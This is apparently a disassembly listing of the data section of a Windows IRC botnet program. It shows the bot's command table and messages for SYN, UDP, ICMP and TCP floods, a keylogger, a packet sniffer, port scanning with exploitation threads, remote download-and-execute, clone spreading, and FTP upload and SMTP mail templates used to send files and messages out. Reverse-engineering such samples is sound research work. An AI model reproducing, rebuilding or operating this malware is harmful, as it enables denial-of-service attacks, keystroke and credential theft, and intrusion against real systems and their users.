db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_430FF8 db 2 ; DATA XREF: sub_40EE72+3F3Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o
align 10h
dword_431040 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE72+3E33o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h
unk_431068 db 2 ; DATA XREF: sub_40EE72+3E28o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 65h, 78h, 65h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_43109C db 2 ; DATA XREF: sub_40EE72+3DA0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_4310E8 db 2 ; DATA XREF: sub_40EE72+3D26o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_431128 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72:loc_412AF9o
; sub_40EE72:loc_413962o
dd 0BBBB0220h, 2002h
unk_431144 db 2 ; DATA XREF: sub_40EE72+3C6Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_431178 db 2 ; DATA XREF: sub_40EE72:loc_412ABFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 10h
unk_4311C0 db 2 ; DATA XREF: sub_40EE72+3C43o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_431208 db 2 ; DATA XREF: sub_40EE72+3BCFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_431244 db 2 ; DATA XREF: sub_40EE72+3B4Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0
unk_43128C db 2 ; DATA XREF: sub_40EE72+3ADDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_4312CC db 2 ; DATA XREF: sub_40EE72+3A55o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_431314 db 2 ; DATA XREF: sub_40EE72+39E6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_431354 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+3948o
dd 2BBBB02h
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_43139C dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+38D7o
dd 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_4313D8 db 2 ; DATA XREF: sub_40EE72+385Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_431428 db 2 ; DATA XREF: sub_40EE72+37EFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_431464 db 2 ; DATA XREF: sub_40EE72+371Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 4
unk_4314B8 db 2 ; DATA XREF: sub_40EE72+36AEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
unk_431504 db 2 ; DATA XREF: sub_40EE72+3620o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_431550 db 2 ; DATA XREF: sub_40EE72+35B1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o
align 4
dword_4315BC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o
; sub_40EE72+43EFo
unk_4315C8 db 2 ; DATA XREF: sub_40EE72+3340o
; sub_40EE72+5179o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_431610 db 2 ; DATA XREF: sub_40EE72+32D1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o
; sub_40EE72+50DDo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo
; sub_40EE72+50D6o
align 4
unk_431694 db 2 ; DATA XREF: sub_40EE72+3161o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start scan, no IP specified.',0
align 4
unk_4316D8 db 2 ; DATA XREF: sub_40EE72+301Ao
; sub_40EE72+4F21o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
dword_431724 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2FE9o
dd 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_43176C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2F7Ao
dd 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
align 4
unk_4317DC db 2 ; DATA XREF: sub_40EE72+2E8Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_431824 db 2 ; DATA XREF: sub_40EE72+2E22o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_43187C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_411BF4o
dd 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_4318C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2D78o
dd 2BBBB02h
aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_43190C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2CFEo
dd 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 10h
aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o
dword_431960 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2C4Co
dd 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_431998 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4119D3o
dd 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_4319D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2B5Ao
dd 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o
align 4
dword_431A4C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2A8Ao
dd 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o
align 4
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do
align 4
unk_431AA4 db 3 ; DATA XREF: sub_40EE72+2A11o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 65h
db 6Dh ; m
db 61h, 69h, 6Ch
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5MessageSentTo db '5 Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a__0: ; DATA XREF: sub_40EE72+2901o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o
align 10h
aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo
align 4
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o
align 4
aP: ; DATA XREF: sub_40EE72+286Do
unicode 0, <p>,0
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo
align 4
aU: ; DATA XREF: sub_40EE72+2828o
unicode 0, <u>,0
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo
align 4
aAdv db 'adv',0 ; DATA XREF: sub_40EE72+27E3o
aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o
align 4
aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o
align 10h
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo
align 10h
aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o
aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o
align 4
aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o
align 4
aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o
aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo
aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o
align 10h
aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo
align 4
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao
aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o
align 4
aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo
align 10h
aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o
align 4
aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo
align 10h
aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o
align 4
aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o
align 4
aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o
aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o
aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo
aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o
align 4
aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do
align 10h
aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o
align 4
aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo
align 4
aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o
aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao
aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o
align 4
aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o
align 10h
aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o
align 4
aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo
align 4
aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o
align 4
aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do
align 4
aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o
align 10h
aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo
align 4
aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o
align 4
aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o
aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao
align 4
aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o
align 4
aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo
align 10h
aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o
aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo
aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o
dword_431DF0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4110C9o
dd 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_431E1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4110C2o
dd 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_431E4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_411077o
dd 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_431E78 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+21FEo
dd 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao
align 10h
dword_431EB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_410FF1o
dd 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 10h
dword_431EE0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2175o
dd 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo
align 4
aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o
align 4
dword_431F3C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_410F1Co
dd 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_431F6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+20A0o
dd 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o
align 4
dword_431FA8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2036o
dd 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 10h
aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o
unk_431FF8 db 2 ; DATA XREF: sub_40EE72+1FD1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_432044 db 2 ; DATA XREF: sub_40EE72+1F66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_432074 db 2 ; DATA XREF: sub_40EE72+1EE5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_4320A4 db 2 ; DATA XREF: sub_40EE72:loc_410D33o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 10h
unk_4320E0 db 2 ; DATA XREF: sub_40EE72+1EB7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o
; sub_40EE72+1EF9o
align 4
aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do
align 10h
unk_432140 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_432178 db 2 ; DATA XREF: sub_40EE72+1E49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o
; sub_40EE72+1E94o
unk_4321C4 db 2 ; DATA XREF: sub_40EE72+1E1Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0
align 10h
unk_432210 db 2 ; DATA XREF: sub_40EE72+1DACo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_432250 db 2 ; DATA XREF: sub_40EE72+1D45o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o
; sub_40EE72+1E72o
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o
align 4
aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o
align 4
aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o
align 4
aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo
align 4
aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o
; sub_40EE72+1C9Do
align 10h
aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo
align 4
aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o
align 4
